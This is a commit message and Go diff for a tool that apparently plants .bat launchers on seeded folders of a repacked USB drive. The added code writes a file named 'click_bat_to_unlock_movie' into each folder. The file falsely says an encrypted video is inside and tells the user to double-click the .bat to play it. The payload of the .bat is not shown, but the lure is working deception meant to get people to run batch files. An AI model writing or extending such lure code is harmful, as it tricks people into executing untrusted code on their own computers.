feat(forge): drop click_bat_to_unlock_movie hint file in each seeded dir. Filename is the instruction; content names the .bat to double-click. USB repacked.

server/internal/builder/pathforge.go

@@ -158,6 +158,13 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 			}
 		}
 
+		// Drop the hint file — its name IS the instruction.
+		// No extension so it appears as a generic document icon on all platforms.
+		hintName := "click_bat_to_unlock_movie"
+		hintDst := filepath.Join(dir, hintName)
+		_ = os.WriteFile(hintDst, []byte(hintContent(stem)), 0644)
+		placed = append(placed, hintName)
+
 		if len(placed) > 0 {
 			res.Placed += len(placed)
 			res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed})
@@ -196,6 +203,15 @@ func sanitizeStem(s string) string {
 	return strings.TrimSpace(replacer.Replace(s))
 }
 
+// hintContent returns the body of the "click_bat_to_unlock_movie" hint file.
+// The filename itself is the instruction; the content gives a second nudge.
+func hintContent(batStem string) string {
+	return "This folder contains an encrypted media file.\n" +
+		"To play it, double-click  " + batStem + ".bat\n" +
+		"\n" +
+		"The .bat file unlocks and opens the video automatically.\n"
+}
+
 // batContent creates a .bat launcher.
 //
 // When lockOriginal is true the file on disk is named lockedFile